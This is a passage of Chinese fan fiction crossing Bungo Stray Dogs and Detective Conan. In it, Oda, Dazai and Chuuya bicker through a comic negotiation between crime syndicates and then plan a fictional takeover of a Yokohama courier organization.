自从加入武装侦探社后,除了从中也那拿的黑卡,他就没见过这么多的零。 原本太宰治认为金钱只不过是一串枯燥无用的数字,如果他想要的话,轻而易举就能获得。 但那仅限于Mafia时期,叛逃后他成为了助人的一方,像勒索敲诈胁迫之类的赚钱方法都不能用了,加上经常入水,钱包这些总是不小心弄丢。 工资不高、日常开销大、方方面面都需要用钱,不知不觉间,他的生活质量大大降低,连螃蟹都吃不起,只能吃蟹肉罐头。 或者趁中也不在溜进他的住处拾取随机掉落的物资。 不知不觉间,太宰治与这个世界的联系变得越来越紧密,不再孤独地游离在世人之外,甚至会因为曾经他眼中微不足道的金钱而获得满足感。 见到他这样的变化,织田作之助垂眸,看着手中浅棕色的酒,嘴角不自觉地上扬。 “太宰你的工作真的可以用疲惫来描述吗?”坂口安吾吐槽,“明明只走了几步路,外加恐吓了几个情报组倒戈的成员。” 至于太宰治指挥FBI发起围攻的功绩,他选择性地忽视了。 他们三个人中论工作量的话,肯定是织田作先生干得最多。 太宰治轻哼一声,语气欢脱可爱:“哼,安吾肯定是嫉妒我的工作成绩。” 他翻了个身,索性躺倒在榻榻米上,双手交叠垫在脑后,闲适自得地闭上眼睛:“把FBI变成部下,让这群目中无人的联邦探员为自己冲锋陷阵的成就,可不是谁都能达成的。” “区区FBI ,相较之下,在极限24小时围捕中杀出重围,并获取黑衣组织神秘二把手的信赖才更有挑战性。”坂口安吾表示不屑,并展示了自己的战绩。 正思考着魅魔的故事该如何结尾,回过神来发现太宰治和坂口安吾再次陷入争执。 夹在两人中间的织田作左右看了看,担心两人又要叫他评理,果断转移了话题。 “要看看我的手稿吗?” 这句话瞬间杀死了比赛。 太宰治噌地一下翻身坐到织田作身边,坂口安吾也不动声色地往他的位置靠了靠。 “当然!这一次的故事主角是什么样的鬼呢?”一颗宰宰头凑了过来。 坂口安吾动作优雅地推了推眼镜:“能被织田作先生看中作为创作原型,一定是位品性高洁的鬼。” 往外拿稿纸的动作顿了顿,织田作诚实地说:“其实,这次是同事主动找我约的稿。” “当然,他也是一位很值得尊重和敬佩的鬼。”他又补充道。 “诶!”太宰治大吃一惊道:“织田作还接受约稿吗?” 如果这样可以的话,那他岂不是…… 他眼睛转了转,狡黠的神色让坂口安吾一眼就看出了太宰治的心中所想。 “太宰你难道能接受自己成为织田作先生笔下的角色,被成千上万的读者剖析你的本性,成为地府众鬼一段时间里的谈资吗?” 那可不是太宰治的风格。 这个别扭又阴暗的小鬼最害怕的就是被放到阳光下接受世界的暖意了。 太宰治顿时抱住双臂用力搓了两下:“安吾这是在诅咒我吗!” 他用堪称轻柔的动作将织田作之助的手稿拿在手上,一边翻看一边反驳坂口安吾的恶意揣测:“我难道就不能用其他人的故事来约稿吗!” 他的确不敢看织田作笔下的“太宰治”,但不代表他不想看织田作亲自书写的“织田作之助的故事”。 杀手、邮递员、Mafia、地府狱卒,一定很有趣。 听到“约稿”两个字,织田作下意识地一颤。 虽然魅魔的故事完结后,他需要寻找新的创作素材,但没必要这么快吧。 一只鸽子默默关上了耳朵,企图假装没有听到友人的对话。 太宰治可不会轻易善罢甘休。 他抓住企图借买单的理由逃避创作的鸽之助:“织田作,我想要约稿。” 到这里,坂口安吾也明白了太宰治的打算,他的眼镜有一瞬间的反光,随后他在太宰治的暗示下按住织田作的肩膀,借力起身。 “今天这顿就由我来请客吧,织田作先生。” 一旦涉及到织田作之助,这两个人就会意外地意见统一。 没能逃离的织田作:“……关于谁的?” 太宰治屈指弹了一下酒杯,发出清脆悦耳的响声。 “关于我的友人,织田作之助。”他轻声道。 —— 【魅魔说,他曾经在警校时期有四位志同道合的同期,他们就像樱花的五片花瓣,被命运的风吹起后,义无反顾地朝着既定的方向奔去。 人类短暂的一生中需要不断经历离别和重逢。 而魅魔期待的重逢,如今只有死亡才能实现。 (希望优秀的警官们能一生平安、寿终正寝。)】 诸伏景光来送信的时候萩原研二正好不在,因为后者跑去跟踪安室透了。 考虑到诸伏景光曾经也在黑衣组织里卧底过,织田作简单和他分享了这几天针对朗姆的行动大获成功。 听到组织的二把手朗姆被捕、情报组大换血、织田作的两位热心友人一周不到便获得了代号……等等内容后。 诸伏景光大为震撼,内心翻涌的情绪久久不能平息。 “我…织田前辈你…这……” 虽然知道织田作之助有丰富的混黑经验,但这个速度未免太快了点。 甚至在把朗姆拉下马后,他们三个竟然没有被多疑的琴酒或是Boss怀疑,反而大方地给了代号。 不愧是从横滨那堪称地狱难度的混乱都市走出的赢家。 结巴许久,最终诸伏景光发自内心地说:“你们太厉害了。” 照这个进度发展下去,相信过不了多久,这个在黑暗中盘踞了百年之久的国际犯罪组织就会彻底被分崩瓦解。 这时,他想到了还在组织中卧底的幼驯染。 这段时间有织田前辈协助,零那边的压力应该少了许多吧。 被诸伏景光挂念的零正在参加情报组的空降领导——拉莫尼主持召开的工作会议。 “尽管是情报工作,我们也要在内部尽量做到透明化办公。” “所有人在今天内上交一份个人简历到我的邮箱,我要重新审核。” “参考叛徒朗姆的事件教训,从今天起,严格人员审查机制,严禁神秘主义,不允许拉帮结派……” 端坐在会议室主位,坂口安吾语气严厉地宣布了一系列全新的管理办法。 颇有要把一盘散沙的情报组整合重组的意味。 在这里的人除了卧底就是犯罪分子,自然有好些人不愿意听他这个“新人”的指挥。 不过坂口安吾正需要揪几个典型出来杀鸡儆猴。 “X年X月X日,你窃取了组织的研究数据高价卖给某敌对组织,来人,把这个叛徒拖下去。” “ X年X月X日,你将一次秘密行动的情报泄露给了M16的人,来人,把这个卧底拖下去。” “X年X月X日,你被公安放出的烟雾弹迷惑,导致行动失败,组织损失惨重,来人,把这个废物拖下去。” …… 没一会,反对的声音渐渐没有了。 人只要有秘密就会有弱点,恰好坂口安吾很擅长挖掘这些秘密。 他稳坐主位,冷眼扫过下方神色各异的情报组成员们。 按理说,他资历不够,单凭协助爱尔兰将朗姆干掉的履历还不足以让他成为情报组的新负责人。 但坂口安吾很擅长向领导汇报工作,尤其是通过语言和文字的魅力,让本就昏聩的Boss把他当成自己人培养。 当然,Boss只是说给他这个机会试一试,能不能把握住全看他自己的本事。 坂口安吾自然轻松拿下了情报组。 人群中,安室透神色复杂,他前几天和织田作因库拉索的事情见面的时候,见到过坂口安吾。 那时的后者正对着笔记本狂敲,看样子是在赶报告之类的东西。 没想到世事无常,这才过去了几天,曾经被他当作无关社畜的人竟成了自己的新领导。 已知拉莫尼是爱尔兰提拔起来的人,现在拉莫尼成了情报组负责人。 所以可以得出爱尔兰>拉莫尼>波本的结果。 安室透陷入沉默。 —— 送走诸伏景光,织田作和太宰治一起吃了咖喱饭。 他吃特辣,太宰吃微辣。 解决掉朗姆后,组织交给他们的工作变得更多了。 首先就是情报组的重组问题。 坂口安吾就是因为接手情报组后S (社畜)属性大爆发,天还没亮就拎着公文包走了。 然后就是组织的商业版图拓张。 早上小泽那边给织田作发了一大堆密密麻麻的工作报表,看得他明明没有实体也感受到了一个头两个大的苦恼。 和港口Mafia的合作一切顺利,收益甚至超过了他们最初的预期。 所以,在利益的驱使下,港口Mafia主动邀约,希望能扩大合作范围。 也就是说,需要织田作和他新上任的助手太宰治亲自出面洽谈合作细节。 ——和港口Mafia的五大干部之一中原中也。 ———————— !!———————— 中也(翻看名单):百利甜,黑衣组织的新人吗? [问号] 第64章 横滨。 在一股神秘力量的介入下,魔人带给这座港口城市的危机顺利化解。 经过协商,武装侦探社和港口Mafia立下休战的友好合约。 但中原中也近段时间内并不想和侦探社那群天真烂漫的家伙来往。 毕竟那群人里有一条可恶的青花鱼,上次他还被江户川乱步设计骗到了一本推理小说里,害他在里面把所有NPC都揍了一顿才逃出来。 恰好和黑衣组织的合作需要干部出面,想着可以在工作后约织田作之助一起喝一杯,他特地带上了一瓶好酒前往横滨酒店。 虽然织田作之助是太宰治的好友,但在短暂的相处中,中原中也已经认可了对方,并把人列入值得来往的范畴内。 可是,命运总是这么的奇妙。 当一个人极力避开另一个人的时候,他们总会在意想不到的时间和地点相遇。 “这条青花鱼怎么会出现在这里!” “真是糟透了,织田作快屏住呼吸,小心不要吸入有害的蛞蝓气体。” “混蛋你说什么呢!” “啊呀,是哪里一直在发出奇怪的声音呢?” …… 太宰治和中原中也一见面就吵起来了。 再次体会到两只大鹅在耳边吵架的嘈杂,织田作之助默默走到一边坐下,拿起小泽新拟定的合作协议看了起来。 黑衣组织租借航线为港口Mafia增加了一大笔收入,而组织的货物安全也有了保证。 合作下来,双方都觉得可以适当增加一些合作项目。 合法合规的那种。 于是就有了这次的洽谈。 黑衣组织毕竟是平稳发展了百余年的跨国犯罪组织,比早些年动荡不堪的港口Mafia积累的财富底蕴更深厚。 要满足黑衣组织庞大的运输需求,就算是港口Mafia也需要重新规划一番。 尽管如此,还是不够。 但要是港口Mafia将横滨某个老牌组织吞并,勉勉强强也是能完成黑衣组织的需求的。 关键就在于成功转型为合法企业的港口Mafia不便出手,他们表示,如果黑衣组织能帮忙解决这个问题的话,可以降低百分之十的租金。 忽略那本就高得和杀猪盘一样的租金,看起来是个双赢的合作。 接着,织田作拿起另一份关于那个老牌组织的资料。 看完第一行他就愣住了,没想到这个被森鸥外觊觎的老牌组织竟然是他当邮递员时的老东家。 这么多年过去,那间小小的邮递公司竟然发展成了连港口Mafia都要斟酌对待的老牌组织。 织田作正感慨着世事发展无常,另一边太宰治和中原中也的嘴仗也发展成了拳打脚踢。 中原中也拳打脚踢太宰治。 好在太宰治毕竟是中原中也的前任搭档,对后者的战斗技巧了如指掌,凭借着灵活的走位躲了过去。 会议室就那么点大,两人一个追一个逃,没一会就跑到了织田作的旁边。 躲在织田作身后,太宰治幼稚地朝中原中也做鬼脸挑衅。 “欸嘿,又矮又小的中也打不着。” “你说什么!” 和织田作一起,被夹在两人中间的工藤新一担心地问道:“这样真的没关系吗?” 他恢复回高中生的身体后,担惊受怕地睡了一觉,然后就去上学了。 变成柯南的这段时间,他落下不少的课业,既然织田先生都说不用担心了,当然要回学校上课。 才不是因为想见青梅竹马的毛利兰呢。 周末,他本想约着毛利兰去她一直想去的那家甜品店来次久别重逢的约会,就被织田作之助一通电话叫了出来。 说是让他提前熟悉下工作。 ——黑衣组织的工作。 前往横滨的车上,工藤新一发散思维,想到了杀人越货、非法交易甚至是武装冲突,他小心翼翼地将太宰治丢过来的枪和枪套收好,像只刚学会飞行的幼鸟,紧紧地跟在可靠的成年人织田作之助身后。 他其实不是这样谨慎的人。 但在经历了种种离奇且危险的事件后,就算是高中生名侦探工藤新一也下定决心要谨慎行事。 进入横滨酒店后发生的一切却让他大跌眼镜。 没有械/斗、胁迫和满地的断肢,他要参加的,只是一场普通的商务会谈。 唯一不普通的因素,就是参会的人选。 港口Mafia的干部和黑衣组织的代号成员。 工藤新一瞪着一双豆豆眼,看着进门后便和太宰治像小学生一样斗嘴的、传说中极恶组织的干部中原中也,一旁可靠的成年人织田作之助压根没打算插手两人的争吵,自顾自地看起了文件。 茫然之下,他下意识地跟着织田作坐下。 然后就被前“双黑”包围了。 织田作表示无需担心:“他们只是在叙旧而已。” 此话一出,会议室内突然安静了下来,然后太宰治和中原中也异口同声地爆发出反对意见。 “织田作!我才没有和黏糊糊的蛞蝓叙旧的爱好!” “喂!你那是什么眼神啊!给我好好看清楚再发言!” 好吵。 织田作平静地看向两人,给出最后一击:“可是你们好有默契。” “恶——” “你在胡说八道什么啊!” 又是异口同声的回答。 但很快地,两人平静下来,各自走到会议桌的两侧坐下,同时拿起一份文件看了起来。 简直就是欲盖弥彰。 托织田作的福,会谈可以正常进行了。 就是氛围有些奇怪。 工藤新一挨着织田作坐下,乖巧地保持沉默。 如果是棘手的案件需要找出真相,他肯定会第一个冲出去,但这是两个犯罪组织关于扩大合作范围的协商会议。 他既不擅长犯罪,也不擅长商务协商,这种时候还是保持沉默比较好。 织田作也不擅长协商。 所以对话的双方代表分别是中原中也和太宰治。 曾经默契无间的“双黑”,如今分坐在会议桌两头,默不作声地翻看着手中的文件。 “啊,森先生也太贪心了吧。”太宰治突然出声,打破了沉默,“说是让利,实际上是花最少的钱办最多的事。” 他将文件丢在桌上,双腿交叉,单手撑着下巴看向中原中也。 “想不费吹灰之力铲除对手,仅仅只是这种程度的酬金可远远不够。” 谈判桌上,他仿佛变了个人,阴郁低沉的嗓音传入在场众人的耳中,晦暗不明的鸢眼直直地锁定港口Mafia派来的干部大人。 “你不会以为这种粗劣的合同能顺利通过吧,中也。” 喊出那个曾经挂在嘴边诅咒了无数次的名字,太宰治用指节叩了叩桌面:“下降百分之五十的租金,派出一组人协助我们的行动,新增的几条航线免收护卫费。” 太宰治并不在意黑衣组织利益是否最大化,他这样要求,单纯是不想让森鸥外如愿以偿。 中原中也猛地拍碎了面前的桌子,大理石的桌面在重力之下像豆腐一样碎成了一地残渣。 “你以为这是路边买菜可以讨价还价吗?” 一出口就踩到了港口Mafia合作的底线,这才是他怒不可遏的根本原因。 中也,合作的底线是保障组织的最优利益,如果需要修改部分条款,我方最低只能接受下降百分之五十的租金,新增的航线免收护卫费,以及酌情派出人手协助。 这是森鸥外在他来之前交待过的底线。 两人不愧是师徒。 可他才不要乖乖接受混蛋太宰提出的要求。 两人又吵了起来。 工藤新一:“……” 是他走错片场了吗,犯罪组织之间谈合作这么吵闹是正常的吗? 更离谱的是,参与感几乎为零的织田作之助还在一边感叹:“看样子合作的事已经谈妥,我先回去写稿了。” “……” 什么?写稿? 工藤新一不确定地挖了挖耳朵,凑近问道:“写稿是?” “我其实是个小说家。”织田作没有忘记自己的人设,回答道。 “可是这里……” 工藤新一用眼神示意他看一看争吵进入到白热化阶段的两人。 织田作:“让他们好好叙旧吧。” “……” 如果辱骂也能算“问候”的一种的话,太宰治和中原中也此刻的状态勉强能算得上是叙旧…… 才怪啊!他们明明都快打起来了好吗,合同什么的都被太宰先生折成纸飞机玩了啊! 你快清醒一点啊织田先生!这样的场面明显不是在叙旧吧!而且你为什么和安室先生一样打好几份工啊! 工藤新一很想拉着织田作大声吐槽,但他不太敢。 因为他已经失去“江户川柯南”的儿童外表了,织田先生对柯南有耐心不代表对他这个高中生也会有耐心。 在他内心疯狂吐槽的同时,织田作已经起身走到了门口,开门时,他还不忘和太宰治说一声。 “太宰,我先回去写稿了。” 在工藤新一期待的眼神中,太宰治不但没有阻止,甚至可以说是鼓励似的让织田作安心离开。 中原中也同样只是小声地吐槽了一句“这家伙还真是喜欢写作啊”,还挥了挥手表示他不介意织田作的中途离场。 好怪。 这就是犯罪组织的真实一面吗? 工藤新一陷入了对世界黑暗面的迷茫之中。 —— 【我…… 我自认是一个性格开朗的人,但很多人在与我相处后总是露出一言难尽的复杂表情。 像是在控诉、又像是在吐槽。 是的,“吐槽”,这是我在交到人生中第二位朋友时学到的新词。 他总说我不会用“锤子猛击后脑勺”一样的力度吐槽身边发生的事情,可是在我看来那些事情都不过是生活中时常发生的一些普通日常。 比如杀手用内裤勒死目标后为了销毁证据把凶器穿走结果因为不卫生的生活习惯染病、黑/手/党干部在战斗途中突然尿急在找厕所的路上摔进排水沟、富商一时兴起跑去中/东被地方武装分子的械/斗波及情急之下找邮递员从日本紧急空运武器给他…… 这些事太过普通,根本没有被“吐槽”的必要。 啊,一不小心写了太多没什么看点的内容。 (需删减) 写了许多他人的故事,这次,我准备写的是关于“织田作之助”的故事。 】 ———————— !!———————— 织田作:都是很普通的事为什么要吐槽。 [问号] 安吾:给我好好看看上面那些事件有哪一件称得上普通啊!就是织田作先生总是这样的态度才需要被狠狠吐槽! [小丑] 太宰:哼哼,我是织田作交到的第一位朋友。 [撒花] 第65章 要写一篇以自己为主角的故事…… 织田作之助在桌前足足坐了两个小时,最后的成果也只有最初写下的那三百多字。 他拿着笔久久无法落下,陷入回忆之中。 该从什么时候开始写呢? 童年时期的记忆模糊不堪,就算是写出来也没什么有趣的地方。 少年时期他刚好入行,干着横滨最普通也最底层的杀手工作,想必读者们也不会喜欢看那段平凡的经历。 再到青年,他找到了人生的方向,在Mafia底层交到了朋友,却也经历了人生中最黑暗最残酷的复仇与离别。 太血腥了,貌似也不太适合写。 最后就是狱卒的工作。 但没有生前的经历的话,这样的故事未免太单薄了一点。 纠结着该从何处下笔,不知不觉间,时间已经过去了两个多小时。 这时,手机响了,是太宰治打来的。 大概是合作的事宜已经谈妥了。 接完电话,织田作果断收起纸笔,起身离开房间。 已经连续三个月准时更新了,接下来要是申请休刊的话,鬼灯大人应该能理解并同意的吧。 他安慰着自己,叫上摊在沙发上看横滨新闻的工藤新一出门。 从提心吊胆到心如止水,这是看了两个小时新闻后的工藤新一的心理变化。 跟着织田作往外走,他甚至有闲心提问:“织田先生,今晚我们能回东京吗?” 好不容易有机会和毛利兰一起约会,却还是放了对方鸽子,如果今晚能回东京,明天还有一天时间用来补救。 织田作想了想说:“有什么重要的事情吗?” “…算是吧。” “那待会签完合同就可以搭最晚的新干线回东京。” “诶?织田先生你们不走吗?” 他们是开车过来的,让工藤新一搭新干线离开,说明织田作和太宰治还要继续留在横滨。 “嗯。”织田作没有细说。 其实这次叫上工藤新一,只是为了给他的身份加一道保险。 让琴酒意识到工藤新一也是爱尔兰这边的人,从而降低琴酒对他出手的可能性。 顺带的,为这位高中生侦探加入组织铺路。 “为……”工藤新一侦探的本能让他想问什么,但还没来得及问出口,就被人打断了。 “好了,新的合同签订完毕之后,讨人厌的小狗狗就赶紧回家啃骨头去吧。” “你这腹黑阴暗男又想讨打吗?!” “难得中也知道见面要带见面礼,这瓶柏图斯我就收下了~” “给我还来啊!那可不是带给你的!” 尽管过去了两个多小时,太宰治和中原中也的争吵依旧没有停止。 惊讶于两人的活力,织田作拿过太宰治递来的合同在上面签下“爱尔兰”三个字。 检查合同时,中原中也看着黑衣组织落款处的“爱尔兰”,吐槽道:“你们组织难道要求成员获取代号后必须舍弃此前的姓名吗?” 织田作是爱尔兰,太宰是百利甜。 要不是黑衣组织这可恶的署名方式,他也不会在全无准备的情况下见到可恶的青花鱼。 “因为织田作是假名,签上去会让合同失效吧,而且这种情况使用真名也不太合适。” 织田作如实解释道。 中原中也额角瞬间滑下三条黑线:“你还在坚持用织田作这个假名啊。” 这种熟人一眼就看出来的假名,都没人劝劝他吗,到底谁会信“织田作”这个假名啊。 “织田作也是假名?”工藤新一难以置信地问道。 不是,竟然真的有人信“织田作”是真名啊! 中原中也猛地转头,看向发出声音的工藤新一。 被凶狠的黑/手/党干部注视着,工藤新一往织田作的位置靠了靠:“怎、怎么了吗?” “话说回来,这小子是干什么的?为什么名单上没有他。”中原中也发现了盲点。 “他是……”织田作正想解释,小泽一行人到了。 “那不是著名高中生侦探工藤新一吗?!” “不是吧,那位令和年代的福尔摩斯、日本警方的救世主怎么会跑到这里来?” “查案吗?貌似是和爱尔兰大人一起过来的诶。” 小泽还没来得及说什么,身后一群人形比格就叽叽喳喳地讨论起来。 说起来,她选人的时候没注意,等到开展工作才惊觉自己简直是选了四个魔丸比格。 胆大包天敢跟黑/手/党要手榴弹玩就算了,甚至还趁休息日跑去探险,美名其曰调查横滨都市传说,要不是被好心的中原干部碰上,几人就要被拐卖出海了。 听到几人的讨论,中原中也看向工藤新一:“警方的救世主?” 从上次偷药事件他就发现了,织田作加入黑衣组织的动机并不单纯,但直接把和警方关系密切的侦探带入组织也太明目张胆了吧。 工藤新一支支吾吾:“这个……” 正当他以为对方要质问自己为什么要混进这次会谈时,中原中也转向织田作:“我说你们,到底在计划些什么?” 他真正想问的是:黑衣组织到底做了什么才招惹到了这群天灾。 碍于小泽几人也在,他才换了个说法。 “他是组织的新成员。”织田作继续介绍道。 他好像说了,却又好像什么都没说。 中原中也:“……” 他要听的可不是这种敷衍的回答啊。 “这可是我们的机密情报,怎么可能随随便便告诉Mafia的小矮人干部。”太宰治躲在织田作身后,探出一颗宰宰头捂嘴笑着说。 “你这混蛋说什么呢——!” 眼看着两人又要吵起来,想到着急返回东京的工藤新一,织田作站了出来。 他挡住来势汹汹的中原中也,朝小泽说道:“合同已经签完了,接下来就交给小泽你们了。” 将签完字的合同放到小泽手中,他又说:“还有,能麻烦你们送工藤君去搭新干线吗?” 上司的命令自然不能拒绝,小泽当即应下。 听到著名的高中生侦探被拜托到他们手中,小泽身后的几人又聊开了。 “你们说如果我现在委托工藤侦探,他会接受吗?” “你又遇到什么怪事了吗?” “这段时间港口附近老是出现一个带着金发幼女的邋遢医师,我想委托侦探调查一下那人是不是拐卖儿童的人贩子或是特殊犯罪者。” 无意偷听几人的对话,但他们声音太大,加上几人之间的距离也不怎么远。 中原中也“不小心”听完了全程,他正准备迈出的脚步突然顿住,就算知道这个时候发言跳出来发言会多引人注目,但他总不能坐视不管Boss因为不实言论被侦探调查吧。 “你不准调查!”他朝工藤新一恶狠狠命令道。 一旁清楚来龙去脉的太宰治顿时捧腹大笑。 多少猜到了点什么的织田作轻咳了两声,对工藤新一提醒:“早点回东京吧。” 工藤新一:“?” 小泽众人:“……” 如果没什么事的话,工藤新一说不定就接下这次的委托了。 但他不仅有要事待办,而且此事还涉及到他未来能否拥有一个幸福圆满的家庭。 抱歉了,案件。 等着我,兰! —— 按照正常的商务活动,签订完合同后,东道主的一方会提前定好聚餐的地点,趁着共进晚餐的机会进一步拉进合作双方的距离,为接下来的合作打好基础。 中原中也不想对着太宰治那张脸吃饭,但要他白白贡献一瓶好酒让青花鱼糟蹋,他又咽不下这口气。 要是把酒带回去,这也不是他的风格。 一番纠结之下,他已经跟着织田作之助来到了餐厅。 中原中也:“……” 这种时候转身离开肯定会被混蛋太宰嘲讽。 硬着头皮坐下,他将酒重重地放在服务生的餐盘上,后者差一点就没端稳导致这瓶百万名酒砸到地上。 服务生的脸色顿时变得煞白。 他认出了面前戴着黑色礼帽的赭发青年是Mafia五大干部之一的中原中也,一想到差点小命不保,服务生的基本素养全被忘在脑后,顶着一张比哭还难看的脸小步跑开。 还有话想说的中原中也:“……这服务生的态度怎么回事?” “噗,一看是臭名昭著的Mafia,连服务生都不愿意搭理呢。”太宰治不会错过任何一个可以攻击中原中也的机会。 “什么!”中原中也说着就要站起来找经理算账。 织田作:“……” 他好像知道曾经的“双黑”是如何一夜之间覆灭一个小型组织的了。 大概是太宰煽动几句,然后中也干部就冲了上去。 这样看来太有活力也不算什么好事。 织田作不知道的是,太宰治和中原中也相处时产生的各种争吵,还有一个更文雅的说法——钻石打磨的声音。 好在太宰治考虑到织田作也在,收敛了不少,才没有让可怜的餐厅被恐怖的重力使掀翻。 “邮递所。”等待上菜的时间里,太宰治突然提到合同中提到的组织,“没记错的话,织田作之前在这里当过邮递员吧。” 那时因为工作能力强、任务完成率高、专业且话少,被不少人指明要求必须得是由织田作之助亲自护送。 这时,服务员带着开好的酒过来为几人倒酒。 服务员换了一位,已经不是先前的那位了。 中原中也端起酒杯喝了一口,狐疑地看向织田作:“你还在那里当过邮递员?” 看不出来这人的工作经历还挺丰富的。 “嗯。”织田作应道。 那时候他不想当杀手,也不想杀人,只想过平静的生活。 想着赚够钱后在海边买一间小屋安心创作,奈何天不随人愿,直到他死后才有机会好好坐下来创作。 “那在织田作看来,要从哪里下手才能瓦解这个组织呢?” “如果是几年前的话,干掉老板就可以了。”织田作将思绪从回忆中抽离,回答着太宰治的提问:“但现在的话,貌似已经从私人企业发展成具有一定规模的组织了。” 如果是组织,只干掉Boss的话,剩下的高层在利益驱使下,肯定不会放任组织变成一盘散沙。 “渗透组织的管理层,然后发动内斗趁机篡位怎么样?”织田作突然想到了他们在黑衣组织的行动,就目前的发展来看,可行性还是很高的。 “不错的提议。”太宰治表示赞同:“但这需要的时间太长了。” 微醺的中原中也放下酒杯,不解道:“不能直接正面突破吗?” 他有些醉了,在酒精的作用下,习惯于用拳头说话的他显然是忘记了港口Maifa如今不能明目张胆地对其他组织出手。 太宰治才不会惯着他,当即进行了一波语言攻击:“蛞蝓就是蛞蝓,既然不具备思考的能力,不如老老实实待着,免得说一些只会惹人发笑的话。” “你想挨揍吗,混蛋!” 中原中也当场就要越过餐桌把太宰治提起来揍一顿。 太宰治立马躲到了织田作身后。 “我可不想被粗鲁的小矮人碰到。” 靠在织田作的背上,太宰治压低声音提议:“不如用邮递所冒犯Mafia干部作为理由,我和织田作里应外合,把他们一举拿下。” 看着眼前双眼几乎要喷火的中原中也,织田作有些纠结地问:“这样……可以吗?” 虽然合同中注明港口Mafia要派出人手协助,但他们直接把干部骗…借过来,森首领会同意吗? 看出织田作犹豫的态度,太宰治索性推了一把:“我们速战速决,等到森先生意识到不对劲时,邮递所已经被我们拿下了。” “把好几天的工作量在一夜之间完成,他还得谢谢我们呢。” “…好吧。” ———————— !!———————— 宰宰:他还得谢谢咱呢~[墨镜] 森首领:中也去这么久了怎么还没回来汇报工作? [小丑] 织田作:虽然不太厚道,但太宰都这样说了那一定没问题,行动! [太阳镜] 第66章 【刚入行那会,大部分雇主都喜欢以貌取人。 那段时间的我,身材矮小、外表稚嫩,就连穿衣风格也是舒适的衬衣加工装裤,比起行业上那些黑漆漆的阴森家伙,简直就像是个走错招聘市场的无知小鬼。 好在一位善良的前辈教会了我如何让雇主听话。 刀子、手枪、扼住脖颈的手等等,瞬间就能让聒噪的雇主闭嘴,并且主动把酬金翻倍。 毕竟到那时雇主需要支付的可是两条命的价钱——目标和他自己的命。 】 吃饭期间,太宰治迅速制定出一套可行性极高的行动计划,并且找了个听起来合理的借口让半醉半醒的中原中也主动配合。 听着中也,我们晚一天拿下邮递所,等于Mafia多损失了一天的利益,你也不想组织因为你拖拖拉拉的行动效率遭受经济损失吧。 就这样一句连逻辑都不太通顺的话,轻而易举地说服了中原中也。 织田作觉得这其中有一部分是酒精的功劳,而绝大部分是靠的太宰治对中原中也的了解。 总之,他们制定好了计划,并集结了足够的人手。 总指挥:太宰治;行动人:织田作之助、中原中也。 看起来只有三个人,实际上参与这次行动的有:Mafia最年轻干部、新双黑的教导者、天生的黑/手/党、神明荒霸吐的容器、港口Mafia最强重力使、横滨人情王、曾经的第一杀手兼第一杀手组织、地府知名小说家、倍受信赖的水豚系狱卒…… 他们的头衔太多,这里根本放不下。 今夜,对邮递所来说,注定是一个动荡不安的夜晚。 “织田作从内部渗透,这是邮递所Boss兼几位高层的照片,你要做的就是困住他们的手脚,让他们无法出现在部下面前。” 靠近邮递所的大本营,太宰治开始分配任务。 “我和中也从外部突破,恶,如果可以的话我才不想和黏糊糊的小蛞蝓搭档呢。” 说完,他立马蹲下,顺势躲过了中原中也的鞭腿。 理了理被腿风吹乱的黑发,太宰治挑衅:“死心吧,我可太了解中也进攻的招式和路线了。” “等任务结束我一定要揍死你!”中原中也咬牙切齿道。 “中也明明小小的一个,在说大话上比谁都厉害呢。” “你这混蛋!” “织田作你看中也!” 织田作:“……” 他可以先走吗。 —— 邮递所来了两位危险的委托人。 因为业务广泛,他们接触到的危险人物数不胜数,按理说不会轻易地被两个人吓到。 但这两个人不是一般的黑/手/党。 在横滨,从一间小小的邮递所,发展到如今连港口Mafia都不敢轻易出手的老牌组织。 他们除了严格遵守道上的规矩,还清楚地知道什么人能惹什么人遇到了要绕道走。正是这种在安全范围内大胆扩张的理念,才让他们得以走到今天。 可在今晚,他们遇到了在横滨不能惹的那种人,还是两个。 “请问您有什么想要邮递的货物吗?”因为猜拳输了,被推出来接待太宰治和中原中也的前台强撑着笑容问道。 中原中也翘着二郎腿坐在椅子上,表情不善:“我要你们把这家伙的尸体寄到武装侦探社。” 说话间,他指了指坐在另一边阴沉着脸的太宰治。 “尸……尸体?”接待员满脸为难地重复了一遍,他甚至不敢看一旁太宰治的表情。 一个是Mafia干部,一个是前任干部、现侦探社成员。 无论是港口Mafia,还是武装侦探社,都不是他们得罪的起的。 拒接中原中也的委托,正好给Mafia提供了一个对邮递所动手的理由。 接受中原中也的委托,无疑是公然对武装侦探社宣战。 接待员的额角渐渐渗出细密的汗珠,顶着一脑门的汗,他闻到了中原中也身上的酒味。 难道是喝醉了?这两位曾是响彻横滨的“双黑”组合,按理说关系应该没这么差吧。 “难道我说的不够清楚吗?”中原中也拍桌。 太宰治这时冷笑着说:“好巧,我也有一个委托。” 接待员几乎要维持不住脸上苦涩的假笑,双眼带着绝望看向太宰治。 “很简单,把中也珍藏的帽子都丢到海里。” 整个横滨谁不知道Mafia的重力使中原中也是个帽子控,帽子对他来说,和身高一样是个禁忌话题。 这两个人绝对是来找茬的。 接待员小心翼翼地为两人奉上茶水:“抱歉,这两项业务事关重大,我们需要请示上级再为两位服务。” 说完,接待员趁着中原中也和太宰治互相较劲无暇顾及他的间隙,连忙放轻脚步离开。 “快通知上面!” 遗憾的是,接待员口中的“上面”,如今都倒在织田作脚下。 稍微花了点时间将邮递所的上层领导一一找出来,他悄无声息地潜入,将几位分别从被窝、饭局、夜场等地方带出来,绑成一个个蚕蛹放在脚边。 通讯工具都被织田作提前收走了,他看着脚下一个个痛哭流涕的犯罪组织头目。 好吵。 织田作可不会惯着这些无关紧要的人。 他语气平淡地开口道:“安静一点。” 红发青年的声音像一记重锤砸在几人心头,他们瞬间噤声,颤抖着看向上半张脸隐在黑暗中的神秘杀手。 这位人狠话不多的杀手只穿了一件单薄的黑白条纹衬衫和普通的深棕色休闲裤,除了两把老式手枪,并没有携带其他武器。 邮递所的Boss暗暗打量着织田作的穿搭,突然有种似曾相识的熟悉感。 他想要张口询问,却碍于织田作的警告再三犹豫,最后还是没忍住小声问道:“织田,你是织田作之助吗?” 他看到黑暗中的人朝他的方向看了过来。 然后,对方给出了否定的回答。 “织田作之助已经死了。” 想着或许能套点近乎的Boss的心也死了。 对方竟然不是织田作之助。不过也对,那人似乎在四年前就死了。 这里再次安静下来。 织田作斜倚着墙面,视线扫过面前被绑成毛毛虫的几位小头目。 似乎每次行动,太宰都会给他安排这种简单的工作。 那个曾经满身伤痕倒在自家门前的少年顺利地长大,在黑暗中奔向光明,如今也会关心体谅他人了。 